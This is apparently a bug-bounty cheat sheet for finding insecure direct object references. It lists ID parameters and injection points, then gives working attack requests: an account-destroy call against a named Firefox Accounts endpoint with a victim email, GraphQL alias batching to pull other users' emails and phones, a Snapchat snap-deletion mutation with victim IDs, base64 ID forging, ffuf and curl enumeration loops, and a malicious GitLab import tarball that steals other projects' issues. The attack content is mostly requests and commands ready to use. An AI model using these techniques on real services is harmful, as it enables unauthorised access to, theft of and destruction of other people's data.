IDOR Hunting Kit

# Identity & account
id  uid  user  user_id  userId  userid  account_id  accountId  member_id
profile_id  customer_id  client_id  owner_id  actor_id  subject_id  person_id
employee_id  student_id  patient_id  contact_id  lead_id  guest_id

# Tenancy & scope — these pay the most, they cross org boundaries
org_id  organization_id  tenant_id  workspace_id  team_id  group_id  company_id
project_id  shop_id  store_id  site_id  app_id  namespace_id  realm_id  env_id

# Commerce & money
order_id  booking_id  reservation_id  cart_id  transaction_id  payment_id
invoice_id  receipt_id  subscription_id  voucher_id  coupon_id  refund_id
payout_id  card_id  bank_account_id  wallet_id  billing_id  quote_id

# Documents & media
doc_id  document_id  file_id  fileId  attachment_id  media_id  asset_id
image_id  photo_id  video_id  export_id  report_id  download_id  key  path

# Communication & workflow
message_id  thread_id  conversation_id  chat_id  comment_id  note_id  post_id
ticket_id  case_id  issue_id  request_id  task_id  event_id  notification_id

# Credentials & entitlement — high severity when writable
token_id  session_id  api_key_id  credential_id  certification_id  license_id
badge_id  role_id  permission_id  invite_id  membership_id  device_id  webhook_id

# Identity-by-string — IDOR does not require an integer
email  username  phone  msisdn  slug  handle  external_id  sub  upn  ref

# 1. Path segment        GET /api/v1/bookings/8847
# 2. Query string        GET /Download.aspx?id=4675
# 3. JSON body           {"booking_id": 8847, "email": "victim@domain.tld"}
# 4. Form body           booking_id=8847&action=cancel
# 5. Custom headers      X-User-Id / X-Account-Id / X-Tenant-Id / X-Org-Id
#                        X-Customer-Id / X-Impersonate-User / X-Forwarded-User
#                        X-On-Behalf-Of / X-Actor-Id / Referer (scope leaks here)
# 6. Cookies             account_id=8847; last_org=42; selected_tenant=acme
# 7. GraphQL variables   {"ids": ["VICTIM_SNAP_ID"], "storyType": "SPOTLIGHT_STORY"}
# 8. Multipart filename  Content-Disposition: name="file"; filename="../8848.pdf"
# 9. JWT / session claims decode it — sub, uid, tid, org are often TRUSTED server-side
# 10. WebSocket frames   {"op":"subscribe","channel":"orders:8848"}
# 11. Import archives    project.json inside a tarball → "issue_ids": [27422144]
# 12. Signed/opaque blob base64, hex, protobuf — decode before assuming it is safe

# Baseline — your own object. Save this response, you diff against it.
GET /api/v1/bookings/8847 HTTP/1.1
Authorization: Bearer A_TOKEN

# The probe — one character changed.
GET /api/v1/bookings/8848 HTTP/1.1
Authorization: Bearer A_TOKEN
# POSITIVE: 200 + a name/phone/address that is not yours.

# Walk the range in both directions. Low IDs are the oldest, often
# internal test or staff accounts with richer data.
GET /api/v1/bookings/1     HTTP/1.1
GET /api/v1/bookings/8846  HTTP/1.1

# Identity-by-string — the session is valid, the action targets someone else.
# Mozilla FxA never checked the session owned the account being destroyed.
POST /v1/account/destroy HTTP/1.1
Host: api.accounts.firefox.com
Authorization: Bearer A_SESSION_TOKEN
Content-Type: application/json

{"email":"victim@domain.tld","authPW":"42b4c2940fe2efecce851a2d8e9754d0f1cb1d37"}

# Introspection first — dump every mutation, look for delete*/update*/remove*
{__schema{mutationType{fields{name args{name type{name ofType{name}}}}}}}

# Ownership is usually checked on the root field only. Reach the object
# through a parent edge instead and the check is never evaluated.
query { organization(id:"OWN_ORG") { members { privateEmail phone } } }

# Alias batching — many objects per HTTP request, defeats per-request
# rate limits and proves arbitrary access in a single screenshot.
query {
  a: user(id:1235){ email phone }
  b: user(id:1236){ email phone }
  c: user(id:1237){ email phone }
}

# Write path. Snapchat's deleteStorySnaps took an ids array with no
# ownership validation — intercept your own delete, swap the id.
mutation DeleteStorySnaps($ids:[String!]!, $storyType:StoryType!) {
  deleteStorySnaps(ids:$ids, storyType:$storyType)
}
# variables: {"ids":["VICTIM_SNAP_ID"],"storyType":"SPOTLIGHT_STORY"}

# base64 wrapper — extremely common, and trivially re-encodable
echo 'eyJ1c2VyX2lkIjoxMjM0fQ==' | base64 -d      # {"user_id": 1234}
echo -n '{"user_id": 1235}' | base64             # forge the neighbour

# GraphQL Relay global IDs are base64 of "Type:pk"
echo 'VXNlcjoxMjM0' | base64 -d                  # User:1234
echo -n 'User:1235' | base64                     # VXNlcjoxMjM1

# hex / decimal
printf '%d\n' 0x4D2                              # 1234

# MongoDB ObjectId: 4-byte timestamp + 5-byte random + 3-byte counter.
# The trailing counter increments per insert — neighbours are guessable.
# 65f1a2b3 c4d5e6f7a8b9 0001  ->  ...0002 is the next document

# UUIDv1 embeds a timestamp and MAC address — not random, predictable
# within a window. UUIDv4 is random; hunt for where it LEAKS instead
# (search results, list endpoints, error messages, email footers).

# Ten IDs is proof. Ten thousand is an incident report with your name on it.
seq 8840 8850 > ids.txt

ffuf -w ids.txt:FUZZ \
     -u "$TARGET/api/v1/bookings/FUZZ" \
     -H "Authorization: Bearer $A_TOKEN" \
     -mc 200 -rate 5 -o idor.json

# Length-based triage: identical sizes are usually a generic error page,
# varying sizes with 200s mean real distinct records.
curl -s -H "Authorization: Bearer $A_TOKEN" \
     "$TARGET/api/v1/bookings/8848" | jq '{name,phone,address}'

# Sequential file downloads — the DoD pattern, no ownership map at all
for i in 4675 4676 4677; do
  curl -sI "$TARGET/Download.aspx?id=$i" | grep -i 'content-disposition'
done

// project.json inside the uploaded tarball. The importer called
// assign_attributes() on this hash, so *_ids arrays reparented objects
// belonging to other projects. Two $20,000 GitLab reports came from it.
{
  "description": "attacker project",
  "issue_ids": [27422144],
  "issues": [],
  "merge_request_ids": [12345678],
  "merge_requests": [],
  "note_ids": [98765432],
  "board_ids": [11111]
}

tar -czf evil.tar.gz project.json
curl -X POST "$TARGET/api/v4/projects/import" \
     -H "PRIVATE-TOKEN: $A_TOKEN" \
     -F "path=stolen" -F "file=@evil.tar.gz"
# Then browse your new project — foreign issues appear inside it.